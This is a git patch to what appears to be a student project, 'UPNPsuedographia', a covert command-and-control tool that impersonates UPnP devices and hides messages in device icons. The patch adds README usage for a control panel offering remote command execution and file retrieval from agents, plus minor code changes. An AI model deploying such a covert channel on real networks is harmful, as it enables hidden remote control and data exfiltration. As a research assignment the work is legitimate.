From 5b4de9f8eef118a82864b9df6e1154b70ba7b0ce Mon Sep 17 00:00:00 2001 From: David Cheeseman <5287736+nuvious@users.noreply.github.com> Date: Tue, 23 Jul 2024 01:12:05 -0400 Subject: [PATCH] Final commit before turning in assignment. --- README.md | 27 ++++++++++++++++++++++++--- src/upnpseudograph/agent.py | 1 + src/upnpseudograph/utils.py | 6 +++--- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index ebf74e7..d6c0486 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ # UPNPsuedographia +A detailed overview is available in a whitepapaer in [markdown](Whitepaper.md) and [pdf](Whitepaper.pdf) formats. + ## Dependencies Clone the repository: @@ -59,6 +61,25 @@ to interact with. It will receive messages and commands from the C2. upnpseudograph --preferred-device=upnpseudograph.upnp.RokuDevice ``` +### Interacting with Agent + +After a device is cloned you will receive a prompt to interact with other agents: + +```bash +Control Panel: + m:[MESSAGE] - Send a message + f:[FILE_PATH] - Send file + g:[FILE_PATH] - Gets a file from an agent (c2 only) + c:[COMMAND] - Execute a command (c2 only) + l - List agents + q - quit + +Enter command:m:hello +0 192.168.1.42 +Select agent to send to or type c to cancel:0 +Message queued for 192.168.1.42 +``` + ### Other Arguments There are other arguments you can pass in depending on preference: @@ -71,6 +92,6 @@ There are other arguments you can pass in depending on preference: # References -https://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt -https://openconnectivity.org/upnp-specs/UPnP-arch-DeviceArchitecture-v2.0-20200417.pdf -https://github.com/MoshiBin/ssdpy \ No newline at end of file +[1] Contributing Members of the UPnP Forum, “UPnPTM Device Architecture 1.1,” 2008. Available: https://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.1.pdf. [Accessed: Jul. 23, 2024] + +[2] x011, “x011/SecretPixel,” GitHub, Mar. 29, 2024. Available: https://github.com/x011/SecretPixel. [Accessed: Jul. 22, 2024] diff --git a/src/upnpseudograph/agent.py b/src/upnpseudograph/agent.py index ecc74ea..da3f153 100644 --- a/src/upnpseudograph/agent.py +++ b/src/upnpseudograph/agent.py @@ -122,6 +122,7 @@ def process_message(self, agent_ip: str, message: bytes): elif command == ord('g'): try: full_path = message_content.decode('utf8') + print(f"Received get request for {full_path} from {agent_ip}.") file_name = os.path.basename(full_path).encode('utf8') filename_length = len(file_name).to_bytes(4, byteorder='big') with open(full_path, 'rb') as f: diff --git a/src/upnpseudograph/utils.py b/src/upnpseudograph/utils.py index 0c5f898..0bb82c6 100644 --- a/src/upnpseudograph/utils.py +++ b/src/upnpseudograph/utils.py @@ -24,7 +24,7 @@ _HOST_IP_ADDRESS = None GLOBAL_BYTE_ORDER = 'big' _PUBLIC_EXPONENT = 0x10001 -RSA_BIT_STRENGTH = 2048 +RSA_BIT_STRENGTH = 4096 IP_PATTERN = r'\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b' @@ -43,7 +43,6 @@ def _benchmark_icon(public_key: rsa.RSAPublicKey, icon: typing.Dict): int The number of bytes that can be encoded in the image """ - gen_byte_string = lambda x : os.urandom(x) # pylint: disable=W0108,C3001 icon_bytes = icon.get('content') if not icon_bytes: return 0 @@ -97,6 +96,7 @@ def benchmark_icons(public_key: rsa.RSAPublicKey, icons: typing.Dict): capacity = _benchmark_icon(public_key, icon) icon['_capacity'] = capacity benchmarked_icons[icon_path] = icon + print(f"Capacity of icon {icon_path} is {capacity}.") return benchmarked_icons @@ -242,7 +242,7 @@ def get_compact_key(key: rsa.RSAPrivateKey | rsa.RSAPublicKey): public_numbers = key.public_key().public_numbers() else: public_numbers = key.public_numbers() - return public_numbers.n.to_bytes(2048//8, byteorder=GLOBAL_BYTE_ORDER) + return public_numbers.n.to_bytes(RSA_BIT_STRENGTH//8, byteorder=GLOBAL_BYTE_ORDER) def public_key_from_n(n_bytes):